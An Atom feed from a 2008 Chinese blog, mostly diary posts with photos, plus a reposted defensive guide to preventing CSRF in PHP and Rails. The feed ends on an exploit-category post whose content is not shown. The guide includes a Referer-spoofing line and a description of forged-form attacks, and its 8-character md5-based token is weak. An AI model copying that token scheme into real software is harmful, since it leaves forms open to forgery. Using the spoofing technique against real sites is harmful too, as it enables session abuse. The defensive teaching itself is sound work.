<?xml version="1.0" encoding="UTF-8"?>
  <feed xmlns="http://www.w3.org/2005/Atom">
  <title type="html"><![CDATA[召唤]]></title>
  <subtitle type="html"><![CDATA[我遇见你是最美丽的意外:)]]></subtitle>
  <id>http://www.patching.net/zhaohuan/</id>
  <link rel="alternate" type="text/html" href="http://www.patching.net/zhaohuan/" /> 
  <link rel="self" type="application/atom+xml" href="http://www.patching.net/zhaohuan/atom.asp" /> 
  <generator uri="http://www.pjhome.net/" version="2.8">PJBlog3</generator> 
  <updated>2008-09-22T22:42:35+08:00</updated>

  <entry>
	  <title type="html"><![CDATA[做了一回伪歌迷~]]></title>
	  <author>
		 <name>ZhaoHuAn</name>
		 <uri>http://www.patching.net/zhaohuan/</uri>
		 <email>sunsp2@163.com</email>
	  </author>
	  <category term="" scheme="http://www.patching.net/zhaohuan/default.asp?cateID=5" label="Diary" /> 
	  <updated>2008-09-22T22:42:35+08:00</updated>
	  <published>2008-09-22T22:42:35+08:00</published>
		  <summary type="html"><![CDATA[听证书说elva萧亚轩做客百度，其实不是她的歌迷，只不过以前听过她几首歌比较动听，而且这张专辑(《三面夏娃》)确实写得不错，推荐一下《类似爱情》和《冲动》。貌似以前还没见过她本人，所以混进去拍一下，嘿嘿，见了本人才知道皮肤和身材那真不是盖的。<br/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/i200892222404.jpg" border="0" alt=""/><br/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/12008922224014.jpg" border="0" alt=""/><br/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/72008922224026.jpg" border="0" alt=""/><br/>这个手拍得很灵异~<br/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/z2008922224046.jpg" border="0" alt=""/><br/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/b200892222411.jpg" border="0" alt=""/><br/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/z2008922224134.jpg" border="0" alt=""/><br/><br/>最后一起合了张影~ 就不PO上来了~ <img src="http://www.patching.net/zhaohuan/images/smilies/icon_lol.gif" border="0" style="margin:0px 0px -2px 0px" alt=""/> 感谢朋友爱情证书和百度娱乐杨嘉~]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.patching.net/zhaohuan/article.asp?id=255" /> 
	  <id>http://www.patching.net/zhaohuan/default.asp?id=255</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[逛街·随手拍的~]]></title>
	  <author>
		 <name>ZhaoHuAn</name>
		 <uri>http://www.patching.net/zhaohuan/</uri>
		 <email>sunsp2@163.com</email>
	  </author>
	  <category term="" scheme="http://www.patching.net/zhaohuan/default.asp?cateID=5" label="Diary" /> 
	  <updated>2008-09-22T22:36:27+08:00</updated>
	  <published>2008-09-22T22:36:27+08:00</published>
		  <summary type="html"><![CDATA[因为我们家小w对王府井步行街的这个教堂情有独钟，路过拍两张~ <br/><br/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/i200892222364.jpg" border="0" alt=""/><br/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/w2008922223555.jpg" border="0" alt=""/><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.patching.net/zhaohuan/article.asp?id=254" /> 
	  <id>http://www.patching.net/zhaohuan/default.asp?id=254</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[@上海]]></title>
	  <author>
		 <name>ZhaoHuAn</name>
		 <uri>http://www.patching.net/zhaohuan/</uri>
		 <email>sunsp2@163.com</email>
	  </author>
	  <category term="" scheme="http://www.patching.net/zhaohuan/default.asp?cateID=5" label="Diary" /> 
	  <updated>2008-09-14T22:41:03+08:00</updated>
	  <published>2008-09-14T22:41:03+08:00</published>
		  <summary type="html"><![CDATA[&nbsp;&nbsp;回北京几天了，整理一下上海行的照片，因此行主要不是在玩，所以只去了城隍庙&amp;外滩这一片，为避免日后懒惰荒于梳理，借假期三天——中秋佳节之际BLOG一下。<br/><br/>&nbsp;&nbsp;到上海的飞机晚点，刚下飞机就匆忙打车到公司（前面省略排队候车20分钟#-_-!!），天公不作美，大暴雨，路上的积水将近20厘米厚，南方就是这么滋润啊，让我顿时倍感亲切:O 司机师傅说星期五很多公司提早下班或者不上班，又下雨，交通一定是非常之堵。印象中是很久很久才到公司，司机师傅又把3号楼错认为是第3期楼，后来san哥跟我说原来SystEm32来的时候貌似也停这里，所以我一直怀疑是不是跟SystEm32坐的一辆车。。<br/> <br/>&nbsp;&nbsp;san哥打着伞在门口接我，挖，终于见到崇拜已久的san师傅了，穿着nsfocus的黑色T恤，因为san哥素来低调，就不描述太多以免被K，膜拜一下 ^.^&nbsp;&nbsp;进了会议室后san哥拿了些巧克力和饼干给我，因为中午在飞机上随便吃了点，旅途劳累啊，还真有点饿了:P&nbsp;&nbsp;然后就是久仰的cnhawk师傅，就跟他聊起天来，而且我发现cnhawk师傅是跟谁聊都能让对方觉得非常开心的，HOHO。面试的时候SystEm32来了，32是一个很好的兄弟，只比我大三岁，但技术功底非常扎实，用CC总的话说，技术很好，小伙子很帅，呵呵，崇拜啊。。认识了一个很好的兄弟：）<br/>&nbsp;&nbsp;<br/>&nbsp;&nbsp;晚上部门领导请大家吃饭，……省略N字，平时很少喝酒，不胜酒力啊。。。Orz（算是明白32为什么有意要加强喝酒训练了） 晕忽忽的跟san哥回家了，就记得打车时等了很久都不等不到。<br/><br/>&nbsp;&nbsp;这些天都住在san哥家，还是复式的房子，很宽敞，一个精致的小楼梯通2层，我自己住一间，很舒服，哈哈，有机会上楼梯看看，san哥和嫂子很照顾我又很客气，真的觉得很不好意思，早知道星期一过来就好了，给san哥夫妇添了不少麻烦啊..&nbsp;&nbsp; <br/><br/>&nbsp;&nbsp;恩。。嫂子做的鱿鱼和绿豆稀饭非常好吃:P<br/><br/>&nbsp;&nbsp;想到哪就说到哪吧。。呵呵，星期天，没什么事，san哥带我在上海到处逛逛，顺便吃点小吃。我们就到城隍庙附近落脚，这一带应该还是外地人多些，上海老街嘛，大多数是来旅游的，装扮得细致古朴，很有特色，Keywords：古玩、茶、书画、老字号、客栈、购物街、小吃街……&nbsp;&nbsp;<br/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/22008914221019.jpg" border="0" alt=""/><br/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/u2008914221121.jpg" border="0" alt=""/><br/><br/><br/>&nbsp;&nbsp;这里的店铺名字也别具旧上海风格，特别需要提起的是san哥发现的一个名叫“春风得意楼”的茶馆，令人浮想联翩啊～ <br/><br/>&nbsp;&nbsp;接着我们步行到了外滩，穿过一个小公园（公园尽头是一个咖啡厅，咖啡厅底部是一个循环过滤的池子，里面养了很多很多漂亮锦鲤，乐坏我了，我喜欢的鱼儿们啊！下次再来看你们:p ）就来到了浦江大桥，对面的东方明珠电视塔等标志性建筑就清晰的展现在了面前，可惜还是有一段距离，不然可以拍得很清楚：）<br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/k2008914221253.jpg" border="0" alt=""/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/s2008914221312.jpg" border="0" alt=""/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/x2008914221354.jpg" border="0" alt=""/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/82008914221940.jpg" border="0" alt=""/><br/>&nbsp;&nbsp;黄浦江<br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/e2008914221555.jpg" border="0" alt=""/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/c2008914222343.jpg" border="0" alt=""/><br/>&nbsp;&nbsp;san哥好像更在意后面这些即将被拆迁的建筑，的确，非常具有异国特色的设计。<br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/p200891422352.jpg" border="0" alt=""/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/p2008914223530.jpg" border="0" alt=""/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/e2008914223555.jpg" border="0" alt=""/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/02008914223638.jpg" border="0" alt=""/><br/><br/>&nbsp;&nbsp;在回去的路上我们经过一处美丽的胡同，这里的街道是以省份的名字命名的，街道很干净，红绿灯旁边还有小小的鱼池，里面也有很多漂亮的小鱼，街道上一棵棵法国梧桐，很有feeling。。。<br/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/v200891422398.jpg" border="0" alt=""/><br/><br/>&nbsp;&nbsp;我们回去时的地铁，就是在这栋大楼下层的<br/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0809/t200891422409.jpg" border="0" alt=""/><br/><br/>&nbsp;&nbsp;说起地铁，就不得不说北京和上海，倒是觉得上海的地铁还好，虽然也挤，但貌似跟北京的地铁还不是一个级别的。如果有人说上海的地铁能把人挤流产，那北京的地铁就能挤怀孕。<br/><br/>&nbsp;&nbsp;最后感谢san哥和cnhawk师傅送我，最近一直都是在麻烦san哥，所以心里感到特别的愧疚，将来一定不能辜负了san哥对我的一片期望才是，特别是hawk师傅还不放心我，频频回头招手与道别，想起来依然历历在目，感谢。<br/><br/>&nbsp;&nbsp;总之对师傅们的感谢藏在我心中，在学校剩下的时间里要潜心学习、研究，思考好今后的研究方向。<br/><br/>&nbsp;&nbsp;相信我们有这么好的团队，这么多优秀的专家，一定会越来越灿烂辉煌，上海，2009年，我们再见：）]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.patching.net/zhaohuan/article.asp?id=253" /> 
	  <id>http://www.patching.net/zhaohuan/default.asp?id=253</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[[ZZ]防止CSRF攻击]]></title>
	  <author>
		 <name>ZhaoHuAn</name>
		 <uri>http://www.patching.net/zhaohuan/</uri>
		 <email>sunsp2@163.com</email>
	  </author>
	  <category term="" scheme="http://www.patching.net/zhaohuan/default.asp?cateID=2" label="Security" /> 
	  <updated>2008-09-04T17:27:44+08:00</updated>
	  <published>2008-09-04T17:27:44+08:00</published>
		  <summary type="html"><![CDATA[转一篇不错的文章,不是很新,有些地方可以看一看:)<br/><strong>《防止CSRF攻击》< <img src="http://www.patching.net/zhaohuan/images/smilies/icon_tong.GIF" border="0" style="margin:0px 0px -2px 0px" alt=""/>rong><br/><span style="color:Red">译者:韩国峰</span> <br/>本文已经获得原作者Email授权----译者注<br/>概览：<br/><br/>1. Hello World<br/>2. 介绍<br/>3. 关于认证技术<br/>3.1 Cookies Hashing<br/>3.2 HTTP来路<br/>3.3 验证码<br/>4. 一次性令牌<br/>5. 最后的话<br/>1.Hello World<br/><br/>欢迎来到崭新的Playhack.net的新季度开题项目报告。我非常高兴您能够再次回来让我们的c001项目重现。<br/><br/>希望您能喜欢这个新的短篇论文，我邀请你浏览位于<a href="http://www.playhack.net" target="_blank" rel="external">http://www.playhack.net</a>的全部新项目。<br/><br/>开始：几乎没有什么，只是一点香烟!:<br/><br/>呐喊：我向我的playhack m8s null,omni,god and emdel,ofc o str0ke大声呐喊!NEX 回来了。<br/>2.介绍<br/><br/>我 对跨站请求伪造（Cross Site Request Forgery，即CSRF）技术有一定研究，但是对网站开发者应当采取的措施研究不深。这些日子在编写一个对用户和管理员（这些人对他们的任务并不明 晰:P）有高度安全要求的分布式网站程序时，我被这个话题深刻的纠缠了。<br/><br/>针对这种情况，我必须考虑程序最终可能受到的各个方面的可能的攻击威胁。<br/><br/>给我最多麻烦的就是Session欺骗（或者CSRF，你可以按照自己喜欢的方式称呼），因为这种攻击是完全以用户的身份，因此并没有百分百的可能性来防止它。<br/><br/>如果你对我刚才说所的Session欺骗并不太了解，那么你可以阅读：<a href="http://www.playhack.net/view.php?id=30" target="_blank" rel="external">http://www.playhack.net/view.php?id=30</a><br/>3.可行措施<br/><br/>Ok，从这里开始，我必须假定你对Session欺骗攻击的实施方法已经深刻领会了:P<br/><br/>让我们开始新的继续。<br/><br/>考虑到一个已经登录到网站的受信用户可以完成一些重要的或者私密的操作，攻击者尝试记性一个可能的登录攻击（但是大多数情况下是不可行的）并且得到已经登录用户的Session来实现其巧妙的行为。<br/><br/>为 了劫持用户的Seession，入侵者精心构造一个适当的网页，在这个网页中包含了隐藏的JavaScript函数来重新创造一个原始操作表单，但是攻击 者却修改了一些表单值，然后攻击者让受攻击者访问该页面，此时页面加载过程会提交上述表单到一个远程页面，以隐秘地完成一个请求（此时受攻击者并不知 道），他们用这种方法利用了用户的受信身份。<br/><br/>这种方式简单解释了Session欺骗攻击是如何工作的，但是一个重要的问题是，&#34;我如何避免我的用户成为这种攻击的受害者？&#34;<br/><br/>现在，你可能想到如下的几种方法：<br/><br/>检查Cookies凭据<br/>检查HTTP请求来路<br/>使用验证码<br/>但是经过一些尝试，你会发现这些方法不是我们应当采取的最合适的解决方式，让我们一个个的来看为什么。<br/>3.1 Cookies Hashing<br/><br/>第一个方案可能是解决这个问题的最简单和快捷的方案了，因为攻击者不能够获得被攻击者的Cookies内容，也就不能够构造相应的表单。<br/><br/>这个问题的实现方法与下面的类似。在某些登录页面我们根据当前的会话创建Cookies：<br/><div class="UBBPanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">&lt;!-- login.php --&gt;<br/>&lt;?php<br/>// Cookie value<br/>$value = &#34;Something from Somewh&#101;re&#34;;<br/>// Cr&#101;ate a cookie which expires in one hour<br/>setcookie(&#34;cookie&#34;, $value, time()+3600);<br/>?&gt;<br/>&lt;!-- EOF --&gt;</div></div>在这里，我们在Cookies中使用了散列来使得这个表单可被认证。<br/><div class="UBBPanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">&lt;!-- form.php --&gt;<br/>&lt;?php<br/>// Hash the cookie<br/>$hash = md5($_COOKIE[&#39;cookie&#39;]);<br/>?&gt;<br/>&lt;form method=&#34;POST&#34; action=&#34;resolve.php&#34;&gt;<br/>&lt;input type=&#34;text&#34; name=&#34;first_name&#34;&gt;<br/>&lt;input type=&#34;text&#34; name=&#34;last_name&#34;&gt;<br/>&lt;input type=&#34;hidden&#34; name=&#34;check&#34; value=&#34;&lt;?=$hash;?&gt;&#34;&gt;<br/>&lt;input type=&#34;submit&#34; name=&#34;submit&#34; value=&#34;Submit&#34;&gt;<br/>&lt;/form&gt;<br/>&lt;!-- EOF --&gt;</div></div><br/>此时，后台的动态网页部分可以进行如下操作：<br/><div class="UBBPanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">&lt;!-- resolve.php --&gt;<br/>&lt;?php<br/>// Check if the &#34;check&#34; var exists<br/>if(isset($_POST[&#39;check&#39;])) {<br/>$hash = md5($_COOKIE[&#39;cookie&#39;]);<br/>// Check if the values coincide<br/>if($_POST[&#39;check&#39;] == $hash) {<br/>do_something();<br/>} else {<br/>echo &#34;Malicious Request!&#34;;<br/>}<br/>} else {<br/>echo &#34;Malicious Request!&#34;;<br/>}<br/>?&gt;<br/>&lt;!-- EOF --&gt;</div></div>事 实上，如果我们不考虑用户的Cookies很容易由于网站中存在XSS漏洞而被偷窃（我们已经知道这样的事情并不少见）这一事实，这是一个很好的应对对 CSRF的解决方案。如果我们为用户的每一个表单请求中都加入随机的Cookies，那么这种方法会变得更加安全，但是这并不是十分合适。<br/>3.2 HTTP来路<br/><br/>检 测访问来路是否可信的最简单方法是，获得HTTP请求中的来路信息（即名为Referer的HTTP头--译者注）并且检查它来自站内还是来自一个远程的恶 意页面：这是一个很好的解决方法，但是由于可以对服务器获得的请求来路进行欺骗以使得他们看起来合法，这种方法不能够有效防止攻击。<br/><br/>让我们来看看为什么这并不是一个合适的方法。<br/><br/>下面的代码展示了HTTP Referer实现方法的一个例子：<br/><div class="UBBPanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">&lt;!-- check.php --&gt;<br/>if(eregi(&#34;www.playhack.net&#34;, $_SERVER[&#39;HTTP_REFERER&#39;])) {<br/>do_something();<br/>} else {<br/>echo &#34;Malicious Request!&#34;;<br/>}<br/>&lt;!-- EOF --&gt;</div></div><br/>这个检测则会轻易的忽略掉来自某个攻击者伪造的HTTP Referer欺骗，攻击者可以使用如下代码：<br/><br/>header(&#34;Referer: www.playhack.net&#34;);<br/><br/>或者其他在恶意脚本中伪造HTTP头并发送的方法。<br/><br/>由于HTTP Referer是由客户端浏览器发送的，而不是由服务器控制的，因此你不应当将该变量作为一个信任源。<br/>3.3 验证码<br/><br/>另外一个解决这类问题的思路则是在用户提交的每一个表单中使用一个随机验证码，让用户在文本框中填写图片上的随机字符串，并且在提交表单后对其进行检测。<br/><br/>这个方法曾经在之前被人们放弃，这是由于验证码图片的使用涉及了一个被称为MHTML的Bug，可能在某些版本的微软IE中受影响。<br/><br/>你可以在Secunia的站点上获得关于此缺陷的详细信息：<a href="http://www.patching.net/zhaohuan/http:/ <img src="http://www.patching.net/zhaohuan/images/smilies/icon_heart.gif" border="0" style="margin:0px 0px -2px 0px" alt=""/>cunia.com/advisories/19738/" target="_blank" rel="external">http:/ <img src="http://www.patching.net/zhaohuan/images/smilies/icon_heart.gif" border="0" style="margin:0px 0px -2px 0px" alt=""/>cunia.com/advisories/19738/</a> 。<br/><br/>这里是Secunia关于此Bug解释的概述：<br/><br/>&#34;此缺陷是由于处理&#34;mhtml:&#34;的URL处理器重定向引起的。它可以被用来利用从另外一个网站访问当前的文档&#34;<br/><br/>在同一个页面你会找到来自Secunia工作人员的网站测试方法。<br/><br/>事实上，我们知道，这个Bug已经被微软放出的Windows XP和Windows Vista及其浏览器IE6.0的修复包所解决了。<br/><br/>即使他的确出现了安全问题，这么长时间也会有其他的可靠方案出现。<br/><br/>4.一次性令牌<br/><br/>现在让我们来看经过研究，我希望介绍的最后一种解决方案：在使用这些不可靠的技术后，我尝试做一些不同然而却是更有效的方法。<br/><br/>为了防止Web表单受到Session欺骗（CSRF）的攻击，我决定检测可能被伪装或伪造的每一个项目。因此我需要来创造一次性令牌，来使得在任何情况下都不能够被猜测或者伪装，这些一次性令牌在完成他们的工作后将被销毁。<br/><br/>让我们从令牌值的生成开始：<br/><div class="UBBPanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">&lt;!-- start function --&gt;<br/>&lt;?php<br/>function gen_token() {<br/>// Generate the md5 hash of a randomized uniq id<br/>$hash = md5(uniqid(rand(), true));<br/>// Sel&#101;ct a random number between 1 and 24 (32-8)<br/>$n = rand(1, 24);<br/>// Generate the token retrieving a part of the hash starting from<br/>// the random N number with 8 of lenght<br/>$token = substr($hash, $n, 8);<br/>return $token;<br/>}<br/>?&gt;<br/>&lt;!-- EOF --&gt;</div></div><br/>PHP函数uniqid()允许web开发者根据当前的时间（毫秒数）获得一个唯一的ID，这个唯一ID有利于生成一个不重复的数值。<br/><br/>我们检索相应ID值的MD5散列，而后我们从该散列中以一个小于24的数字为开始位置，选取8位字母、<br/><br/>返回的$token变量将检索一个8位长的随机令牌。<br/><br/>现在让我们生成一个Session令牌，在稍后的检查中我们会用到它。<br/><div class="UBBPanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">&lt;!-- start function --&gt;<br/>&lt;?php<br/>function gen_stoken() {<br/>// Call the function to generate the token<br/>$token = gen_token();<br/>// Destroy any eventually Session Token variable<br/>destroy_stoken();<br/>// Cr&#101;ate the Session Token variable<br/>session_register(STOKEN_NAME);<br/>$_SESSION[STOKEN_NAME] = $token;<br/>}<br/>?&gt;<br/>&lt;!-- EOF --&gt;</div></div>在这个函数中我们调用gen_token()函数，并且使用返回的令牌将其值复制到一个新的$_SESSION变量。<br/><br/>现在让我们来看启动完整机制中为我们的表单生成隐藏输入域的函数：<br/><br/><div class="UBBPanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">&lt;!-- start function --&gt;<br/>&lt;?php<br/>function gen_input() {<br/>// Call the function to generate the Session Token variable<br/>gen_stoken();<br/>// Generate the form input code<br/>echo &#34;&lt;input type=\&#34;hidden\&#34; name=\&#34;&#34; . FTOKEN_NAME . &#34;\&#34;<br/>value=\&#34;&#34; . $_SESSION[STOKEN_NAME] . &#34;\&#34;&gt; &#34;;<br/>}<br/>?&gt;<br/>&lt;!-- EOF --&gt;</div></div>我们可以看到，这个函数调用了gen_stoken()函数并且生成在WEB表单中包含隐藏域的HTML代码。<br/><br/>接下来让我们来看实现对隐藏域中提交的Session令牌的检测的函数：<br/><br/><div class="UBBPanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">&lt;!-- start function --&gt;<br/>&lt;?php<br/>function token_check() {<br/>// Check if the Session Token exists<br/>if(is_stoken()) {<br/>// Check if the request has been sent<br/>if(isset($_REQUEST[FTOKEN_NAME])) {<br/>// If the Form Token is different from Session Token<br/>// it&#39;s a malicious request<br/>if($_REQUEST[FTOKEN_NAME] != $_SESSION[STOKEN_NAME]) {<br/>gen_error(1);<br/>destroy_stoken();<br/>exit();<br/>} else {<br/>destroy_stoken();<br/>}<br/>// If it isn&#39;t then it&#39;s a malicious request<br/>} else {<br/>gen_error(2);<br/>destroy_stoken();<br/>exit();<br/>}<br/>// If it isn&#39;t then it&#39;s a malicious request<br/>} else {<br/>gen_error(3);<br/>destroy_stoken();<br/>exit();<br/>}<br/>}<br/>?&gt;<br/>&lt;!-- EOF --&gt;</div></div>这 个函数检测了$_SESSION[STOKEN_NAME]和$_REQUEST[FTOKEN_NAME]的存在性（我使用了$ _REQUEST方法来使得GET和POST两种方式提交的表单变量均能够被接受），而后检测他们的值是否相同，因此判断当前表单提交是否是经过认证授权 的。<br/><br/>这个函数的重点在于：在每次检测步骤结束后，令牌都会被销毁，并且仅仅在下一次表单页面时才会重新生成。<br/><br/>这些函数的使用方法非常简单，我们只需要加入一些PHP代码结构。<br/><br/>下面是Web表单：<br/><div class="UBBPanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">&lt;!-- form.php --&gt;<br/>&lt;?php<br/>session_start();<br/>include(&#34;functions.php&#34;);<br/>?&gt;<br/>&lt;form method=&#34;POST&#34; action=&#34;resolve.php&#34;&gt;<br/>&lt;input type=&#34;text&#34; name=&#34;first_name&#34;&gt;<br/>&lt;input type=&#34;text&#34; name=&#34;last_name&#34;&gt;<br/>&lt;!-- Call the function to generate the hidden input --&gt;<br/>&lt;? gen_input(); ?&gt;<br/>&lt;input type=&#34;submit&#34; name=&#34;submit&#34; value=&#34;Submit&#34;&gt;<br/>&lt;/FORM&gt;<br/>&lt;!-- EOF --&gt;</div></div><br/>下面是解决的脚本代码：<br/><div class="UBBPanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">&lt;!-- resolve.php --&gt;<br/>&lt;?php<br/>session_start();<br/>include(&#34;functions.php&#34;);<br/><br/>// Call the function to make the check<br/>token_check();<br/><br/>// Your code<br/>...<br/>?&gt;<br/>&lt;!-- EOF --&gt;</div></div>你可以看到，实现这样一个检测是十分简单的，但是它可以避免你的用户表单被攻击者劫持，以避免数据被非法授权。<br/>5.结论<br/><br/>让我们对这篇简短的论文做一个结论，你的Web应用程序没有百分百的安全，但是你可以开始避免绝大多数普通的攻击技术。<br/><br/>我希望您关注的另一个要点是，Web开发者不应当忽视一般的程序错误（例如XSS 浏览器漏洞等等），不将这些考虑为对您的用户的潜在威胁是一个巨大的错误：你应该永远记得它们将影响程序的信任性、安全性和互操作性。<br/><br/>Cya!<br/><br/>nexus<br/><br/><br/><strong>还有LGN21ST的一篇< <img src="http://www.patching.net/zhaohuan/images/smilies/icon_tong.GIF" border="0" style="margin:0px 0px -2px 0px" alt=""/>rong><br/>从Rails 2开始，默认使用cookie来保存session，于是很多关于安全上的置疑被频繁提及。尤其是cross-site request forgery(CSRF)攻击。 <br/><br/>在Rails2中预防CSRF其实很容易，首先确保在application.rb中包含protect_from_forgery调用 <br/><div class="UBBPanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">Ruby代码 <br/>class ApplicationController &lt; ActionController::Base&nbsp;&nbsp; <br/>&nbsp;&nbsp;protect_from_forgery&nbsp;&nbsp; <br/>end&nbsp;&nbsp;<br/><br/>class ApplicationController &lt; ActionController::Base<br/>&nbsp;&nbsp;protect_from_forgery<br/>end</div></div><br/><br/>至此，所有用form_for或者form_tag等生成的表单均被隐藏注入一个特别的基于用户session生成的token，在表单被提交时一并将token提交至服务器并接受服务器端的检查。 <br/><br/>如果你象我一样喜欢自己手写Ajax Post请求代码，但是没有包含这个token的话，服务器端会报&#39;verify_authenticity_token&#39;错误，如何得到这个token呢？我的做法是在页面头部先得到这个token，赋值给一个JS的全局变量，在之后的Ajax代码中就可以直接引用啦，主意，一定要在Ajax调用代码之前作这一步，最保险的位置是在页面第一行。 <br/><div class="UBBPanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">Ruby代码 <br/>&lt;%= javascript_tag &#34;var authenticity_token = &#39;#{form_authenticity_token}&#39;;&#34; %&gt;&nbsp;&nbsp;<br/><br/>&lt;%= javascript_tag &#34;var authenticity_token = &#39;#{form_authenticity_token}&#39;;&#34; %&gt;</div></div><br/><br/>Ajax代码大概可以这样写 <br/><div class="UBBPanel"><div class="UBBTitle"><img src="http://www.patching.net/zhaohuan/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">Ruby代码 <br/>new Ajax.Request(&nbsp;&nbsp; <br/>&nbsp;&nbsp;request_path,&nbsp;&nbsp; <br/>&nbsp;&nbsp;{method:&#39;post&#39;,&nbsp;&nbsp; <br/>&nbsp;&nbsp; parameters:&#39;authenticity_token=&#39; + encodeURIComponent(authenticity_token)});&nbsp;&nbsp;</div></div>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.patching.net/zhaohuan/article.asp?id=252" /> 
	  <id>http://www.patching.net/zhaohuan/default.asp?id=252</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[二版科技寄来的NOD32安全套装]]></title>
	  <author>
		 <name>ZhaoHuAn</name>
		 <uri>http://www.patching.net/zhaohuan/</uri>
		 <email>sunsp2@163.com</email>
	  </author>
	  <category term="" scheme="http://www.patching.net/zhaohuan/default.asp?cateID=5" label="Diary" /> 
	  <updated>2008-08-22T15:37:28+08:00</updated>
	  <published>2008-08-22T15:37:28+08:00</published>
		  <summary type="html"><![CDATA[本来收到东西应该是很exciting的事情，但是因为某国内知名快递公司—<strong>X通快递< <img src="http://www.patching.net/zhaohuan/images/smilies/icon_tong.GIF" border="0" style="margin:0px 0px -2px 0px" alt=""/>rong>的原因，出现了以下抽象效果，特此拍照。<br/>充分验证了国内快递公司暴力运输的事实，绝对是对经典力学的运用，怪不得网上流传：<strong>有一个分尸案，其实杀人者本来并没有分尸，只是把尸体用X通快递寄出去后....分尸案就产生了。< <img src="http://www.patching.net/zhaohuan/images/smilies/icon_tong.GIF" border="0" style="margin:0px 0px -2px 0px" alt=""/>rong><img src="http://www.patching.net/zhaohuan/attachments/month_0808/n2008822151636.jpg" border="0" alt=""/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0808/k2008822151758.jpg" border="0" alt=""/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0808/r2008822151851.jpg" border="0" alt=""/><br/><br/>还好里面的东西没坏，内附光盘1、readme、环保袋1<br/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0808/12008822152111.jpg" border="0" alt=""/><br/><img src="http://www.patching.net/zhaohuan/attachments/month_0808/b2008822152156.jpg" border="0" alt=""/><br/><br/>虽然对我来说并没有很大的实际用处，但送给MM是没戏了~<br/><br/>准备把照片给王总看看，晚上有空再分析一下激活系统。]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.patching.net/zhaohuan/article.asp?id=251" /> 
	  <id>http://www.patching.net/zhaohuan/default.asp?id=251</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[XSS Private Messagging On PhpBB3(0day)]]></title>
	  <author>
		 <name>ZhaoHuAn</name>
		 <uri>http://www.patching.net/zhaohuan/</uri>
		 <email>sunsp2@163.com</email>
	  </author>
	  <category term="" scheme="http://www.patching.net/zhaohuan/default.asp?cateID=3" label="eXploit" /> 
	  <updated>2008-08-18T10:22:14+08:00</updated>
	  <published>2008-08-18T10:22:14+08:00</published>
